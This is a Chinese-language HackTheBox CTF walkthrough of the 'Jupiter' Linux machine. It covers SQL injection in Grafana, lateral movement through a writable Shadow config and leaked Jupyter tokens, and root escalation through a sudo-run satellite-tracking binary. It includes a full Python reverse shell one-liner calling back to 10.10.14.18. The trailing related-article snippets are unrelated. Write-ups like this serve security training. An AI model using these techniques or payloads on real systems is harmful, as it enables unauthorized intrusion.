HackTheBox - Medium - Linux - Jupiter

news/2024/12/5 9:36:39/

Jupiter

Jupiter 是一台中等难度的 Linux 机器,它有一个使用 PostgreSQL 数据库的 Grafana 实例,该数据库在权限上过度扩展,容易受到 SQL 注入的影响,因此容易受到远程代码执行的影响。一旦站稳脚跟,就会注意到一个名为 Shadow 的实用程序,这是一种科学实验工具,可以简化对真实网络应用程序的评估,但其配置文件的权限配置错误。然后,通过查看与 Jupyter Notebook 关联的日志文件来实现横向移动,这些日志文件包含次要用户的令牌。获得对此用户的访问权限后,可以通过滥用卫星跟踪系统二进制文件来实现权限提升,该二进制文件可能由次要用户使用“sudo”权限执行。


外部信息搜集

端口扫描

循例nmap

file

Web枚举

访问80跳转到了jupiter.htb,加入/etc/hosts

file

vhost扫描

ffuf扫出一个vhost

file

kiosk子域

file

SQL注入

我在查看bp日志的时候发现了这个包,里面包含了非常显眼的sql查询语句

file

把请求给到repeater,使用version()查询一下,发现执行成功

file

接下啦就不再需要脑子了,我们可以通过sqlmap一键尝试RCE

file

正如所料,是DBA

file

来个常规python3 reverse shell payload

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.18",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' &

payload最后的&不能少,否则shell可能会被杀死

getshell

file

本地横向移动 -> juno

传个pspy

file

2023/12/22 07:24:01 CMD: UID=1000  PID=2159   | 
2023/12/22 07:24:01 CMD: UID=1000  PID=2160   | rm -rf /dev/shm/shadow.data 
2023/12/22 07:24:01 CMD: UID=1000  PID=2161   | /home/juno/.local/bin/shadow /dev/shm/network-simulation.yml 
2023/12/22 07:24:01 CMD: UID=1000  PID=2164   | sh -c lscpu --online --parse=CPU,CORE,SOCKET,NODE 
2023/12/22 07:24:01 CMD: UID=1000  PID=2165   | lscpu --online --parse=CPU,CORE,SOCKET,NODE 
2023/12/22 07:24:01 CMD: UID=1000  PID=2170   | 
2023/12/22 07:24:02 CMD: UID=1000  PID=2171   | /home/juno/.local/bin/shadow /dev/shm/network-simulation.yml 
2023/12/22 07:24:02 CMD: UID=1000  PID=2173   | /home/juno/.local/bin/shadow /dev/shm/network-simulation.yml 
2023/12/22 07:24:02 CMD: UID=1000  PID=2175   | /home/juno/.local/bin/shadow /dev/shm/network-simulation.yml 

我们可以看到/home/juno/.local/bin/shadow这个应用似乎正将yml文件名作为输入并运行

这个文件我们有权读写

file

当我查看该文件时,接下来要做的事情便不再需要解释了

file

python3 payload

file

发现它确实执行了,但似乎执行没成功,反正我没get到shell

换种方法,直接写入ssh key

file

这次也执行了

file

登一下ssh看看有没有成功

file

本地横向移动 -> jovian

我看到当前用户具有另一个组,下意识查看那个组是否具有某些文件或目录

file

当我查看其中一个日志文件后,我发现本地8888端口的http服务应该就是jupyter

file

ssh做个端口转发

file

通过日志文件里的正确token,我们能够登录进去

file

进入这个文件

file

在这里我们能够运行python代码

直接来个python shellcode

file

nc

file

本地权限提升

sudo -l

file

通过strace发现它会读取/tmp/config.json,但由于不清楚它的配置究竟是怎么样的,所以即使我们自己创建了文件也没有意义

file

find

file

在那个目录下有我们想要的config.json

file

{"tleroot": "/tmp/tle/","tlefile": "weather.txt","mapfile": "/usr/local/share/sattrack/map.json","texturefile": "/usr/local/share/sattrack/earth.png","tlesources": ["http://celestrak.org/NORAD/elements/weather.txt","http://celestrak.org/NORAD/elements/noaa.txt","http://celestrak.org/NORAD/elements/gp.php?GROUP=starlink&FORMAT=tle"],"updatePerdiod": 1000,"station": {"name": "LORCA","lat": 37.6725,"lon": -1.5863,"hgt": 335.0},"show": [],"columns": ["name","azel","dis","geo","tab","pos","vel"]
}

将config.json复制到/tmp

file

运行看看效果

file

主要关注这句话

tleroot does not exist, creating it: /tmp/tle/

我们可以将tleroot改到/root/.ssh,然后它就会去请求tlesources的文件复制到tleroot,我们可以指定ssh public key

编辑/tmp/config.json

file

再次执行

file

ssh登root

file

root flag 还在老地方


http://www.ppmy.cn/news/1278552.html

相关文章

10、基于LunarLander登陆器的Dueling DDQN强化学习(含PYTHON工程)

10、基于LunarLander登陆器的Dueling DDQN强化学习(含PYTHON工程) LunarLander复现: 07、基于LunarLander登陆器的DQN强化学习案例(含PYTHON工程) 08、基于LunarLander登陆器的DDQN强化学习(含PYTHON工程…

.net core 生成jwt+swagger-通过 IHttpContextAccessor读取token信息

1.安装jwt相关包 <ItemGroup><PackageReference Include"Microsoft.AspNetCore.Authentication.JwtBearer" Version"6.0.25" /><PackageReference Include"Microsoft.IdentityModel.Tokens" Version"7.0.3" /><P…

java: -source 7 中不支持 lambda 表达式 (请使用 -source 8 或更高版本以启用 lambda 表达式)

目录 1、检查项目中 JDK 的设置&#xff1a; 2、检查模块中 JDK 的设置&#xff1a; 3、检查Idea 中的SDK设置 4、检查 IDEA 中 JDK 的设置&#xff08;我出现的问题在这&#xff09;&#xff1a; 今天遇见了一个报错&#xff1a; 问题产生的原因是 JDK 版本太低&#xf…

在centos上安装python人脸库face_recognition

前段时间看了看python和face_recognition&#xff0c;用来识别人脸和对比人脸&#xff0c;发现在centos上安装face_recognition还是费了点小劲挖了点小坑的&#xff0c;曲曲折折东拼西凑到处查资料终于鼓捣好了&#xff0c;特记录一下&#xff1b; 在centos上安装face_recogni…

ubuntu20.04.3

1.方法1 创建账号 使用adduser创建账号&#xff0c;命令如下&#xff1a; adduser username username为要创建的账号名 置密码后&#xff0c;需要设置账户信息&#xff0c;这里可以采用默认&#xff0c;全部回车&#xff0c;最后输入Y确认即可&#xff1a; 2.方法2 创建新…

docker运行java程序的Dockerfile

1&#xff0c;docker运行java程序的Dockerfile # 使用基础镜像 FROM alpine:latest # 暴露容器的端口 不会自动将容器的端口映射到宿主机上 docker run -d -p <宿主机端口>:7080 <镜像名称> EXPOSE 9202 EXPOSE 19202 #下载jdk8 RUN apk update && apk a…

教你在Linux上安装Node并用Electron打包deb和rpm包

Windows下无法打linux版本的包&#xff0c;如果你要打linux系统的amd64架构需要找一台linux amd64的系统打包&#xff0c;也可以在amd64下打arm架构的包&#xff0c;但是不能运行&#xff0c;需要放到arm架构的系统里才能运行。 下载linux的node环境 Index of /nodejs-releas…

Python实现AR协方差结构线性回归模型(GLSAR算法)项目实战

说明&#xff1a;这是一个机器学习实战项目&#xff08;附带数据代码文档视频讲解&#xff09;&#xff0c;如需数据代码文档视频讲解可以直接到文章最后获取。 1.项目背景 GLSAR是具有AR协方差结构的广义最小二乘法线性回归模型。 本项目通过GLSAR回归算法来构建AR协方差结构…